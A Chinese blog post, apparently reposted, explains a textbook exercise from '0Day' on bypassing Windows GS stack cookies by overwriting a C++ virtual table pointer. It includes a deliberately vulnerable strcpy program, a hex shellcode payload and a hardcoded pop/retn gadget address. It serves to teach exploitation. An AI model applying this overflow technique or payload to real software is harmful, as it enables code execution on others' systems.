《0Day》之通过覆盖虚表指针来突破GS
對(duì)于棧溢出,微軟做了GS防護(hù),就是在函數(shù)棧幀初始化之后,生成一個(gè)隨機(jī)的cookie,將其保存在EBP之前,同時(shí)在.data中也保存一份,在函數(shù)返回之前,先檢測(cè)棧中cookie的值,如果我們還用之前棧溢出的方式,通過(guò)shellcode覆蓋函數(shù)返回地址來(lái)達(dá)到溢出的目的,這時(shí)必然會(huì)覆蓋掉棧中的cookie,這樣的溢出就會(huì)被檢測(cè)到,也就無(wú)法達(dá)到溢出的目的。但是正所謂你有張良計(jì),我有過(guò)墻梯,GS的檢測(cè)要在函數(shù)返回之前才進(jìn)行,如果在還沒(méi)到檢測(cè)之前就實(shí)現(xiàn)溢出,那GS不就也只能干看著了嗎。要實(shí)現(xiàn)在GS檢測(cè)之前就實(shí)現(xiàn)溢出,還是有幾種方案的,《0Day》中就提到了通過(guò)覆蓋虛表指針和異常的方式來(lái)實(shí)現(xiàn),這里先說(shuō)覆蓋虛表指針的方式。
在C++中,虛表指針是個(gè)一維數(shù)組,位于類對(duì)象指針之前,也就是說(shuō),虛表指針 = 類對(duì)象指針 - 4。為了研究虛表指針的溢出,我們需要對(duì)它的內(nèi)存布局有一定的了解,先通過(guò)一個(gè)小程序來(lái)分析它的內(nèi)存布局。代碼如下
#include "stdafx.h" #include <string.h>class GSVirtual { public:void gsv(char *src) {char buf[200];strcpy(buf, src);vir();}virtual void vir() {} };int main() {GSVirtual test;test.gsv("\xB3\x1C\x92\x7C\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1" "\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E""\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33""\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2""\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C""\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38""\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B""\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03""\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1""\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24""\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B""\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB""\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E""\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74""\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x38\x1a\x41");return 0; }上面這段也是《0Day》中的代碼,我們把它編程一個(gè)release版,然后放到OD中去分析。如下圖
我們?cè)賮?lái)看ecx指向的棧布局,如下圖
可以看到,虛表指針位于函數(shù)參數(shù)之下,我們可以通過(guò)在棧中覆蓋一大段shellcode的方式來(lái)把虛表指針給覆蓋掉,這樣就可以實(shí)現(xiàn)溢出了。可能有的人會(huì)不理解,覆蓋掉虛表指針,那豈不是連函數(shù)返回地址都覆蓋了,不是說(shuō)有GS檢測(cè)么?雖然覆蓋了函數(shù)地址,但是在調(diào)用虛函數(shù)的時(shí)候,這個(gè)函數(shù)還沒(méi)返回,也就是說(shuō)還沒(méi)到GS檢測(cè)的地方,我們就已經(jīng)溢出去執(zhí)行shellcode了。
至于覆蓋的方式,我們可以通過(guò)覆蓋虛表指針,讓其變成指向函數(shù)參數(shù)的shellcode,但是這里面臨著一個(gè)問(wèn)題,就是這里有一個(gè)call操作,我們需要在這個(gè)call之后,還能跳轉(zhuǎn)到shellcode中去執(zhí)行,而且這里又不適用jmp esp這樣的指令,因?yàn)槲覀冊(cè)嫉膮?shù)不在棧中,是無(wú)法通過(guò)jmp esp跳轉(zhuǎn)過(guò)去的。不過(guò)我們可以跳轉(zhuǎn)到之前復(fù)制到內(nèi)存中的shellcode去,我們通過(guò)觀察棧可以看到,當(dāng)前esp指向的正是我們復(fù)制到內(nèi)存中的shellcode的地址。如圖
既然call會(huì)執(zhí)行一個(gè)push指令,那我們是不是可以通過(guò)pop指令來(lái)實(shí)現(xiàn)讓esp指向shellcode地址,然后通過(guò)retn指令把shellcode地址彈到eip,這樣,就可以實(shí)現(xiàn)跳轉(zhuǎn)了。通過(guò)在模塊中找到一組pop retn的指令序列,把它的地址寫入shellcode開始的地方,這里找的是0x7c921cb3,這樣當(dāng)執(zhí)行虛函數(shù)時(shí),call的是0x7c921cb3這個(gè)地址,然后里面執(zhí)行了一個(gè)pop指令,讓esp指向shellcode地址,然后通過(guò)retn就可以跳轉(zhuǎn)到shellcode中去執(zhí)行了。
總結(jié)
以上是生活随笔為你收集整理的《0Day》之通过覆盖虚表指针来突破GS的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: Tian Ji -- The Horse
- 下一篇: 开机出现Oxc000000e故障的解决方